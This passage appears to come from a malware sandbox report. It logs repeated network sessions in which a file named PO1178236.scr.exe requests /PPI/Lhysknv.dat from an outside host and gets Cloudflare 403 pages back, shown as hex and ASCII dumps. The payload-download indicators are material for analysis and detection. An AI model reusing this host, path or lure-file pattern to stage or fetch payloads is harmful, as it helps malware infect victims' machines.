6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:50 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:50 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:50 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 66 32 32 66 61 63 37 63 66 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7f22fac7cf4</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:50 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 66 32 32 66 61 63 37 63 66 34 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 35 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7f22fac7cf4',t:'MTczNjQwNzc5MC4wMDAwMDA='};var
2025-01-09 07:29:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50115	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:50 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:51 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YvgqFAH7691qE3AAk5XOp2vtZZUHMgaXV03uk1NpM119Eqdmx56i2wh%2FA6W3Ju%2BQ5QV8V3lvNDPI%2BcdOTiSSdxKUmorVdz%2FWV8ojKKx93Pxl2Ugl%2FJXKIaDIFb15r12BR34Y1cfkH2xfb3ES"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7f5ff807d11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1935&min_rtt=1923&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1443400&cwnd=252&unsent_bytes=0&cid=7a59937da396dd59&ts=148&x=0"
2025-01-09 07:29:51 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:51 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:51 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:51 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 66 35 66 66 38 30 37 64 31 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7f5ff807d11</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:51 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 66 35 66 66 38 30 37 64 31 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 35 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7f5ff807d11',t:'MTczNjQwNzc5MS4wMDAwMDA='};v
2025-01-09 07:29:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50121	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:51 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:51 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oAyudOIsxHBxb%2BqbBrW6ri9B01khuu4a6lRPyz%2B2qV6aLn1klYncSvUdakR%2Bvwi6IA7AZbxG2XA%2BpVNnn1dlJqhMQU9jWwfAczDAQwN3L5wyNt9q%2F1nxMU8DxYklq8qallIcazu0yL4FwWiI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7fa0d22436a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1562&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1821584&cwnd=184&unsent_bytes=0&cid=2b6b5d185693c23b&ts=161&x=0"
2025-01-09 07:29:51 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:51 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:51 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:51 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 66 61 30 64 32 32 34 33 36 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7fa0d22436a</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:51 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 66 61 30 64 32 32 34 33 36 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 35 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7fa0d22436a',t:'MTczNjQwNzc5MS4wMDAwMDA='};v
2025-01-09 07:29:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50125	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:52 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:52 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2Fm4Yh%2B0ALZCw9qCUPNBF43nlVjTCWc9WKgSfWVQEhpODLVLFbr2Fhwh18g46W1TM%2FIV%2FnpJHsATSID2VJaGSbr7ybs285BED6CsjhunN04%2BRY24UwnCNh%2Fe15fVaNrUlI456NNLzrYKEGrq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7fdcb0b8c57-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1972&min_rtt=1964&rtt_var=752&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1439132&cwnd=216&unsent_bytes=0&cid=b9fbbfb5532ece69&ts=132&x=0"
2025-01-09 07:29:52 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:52 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
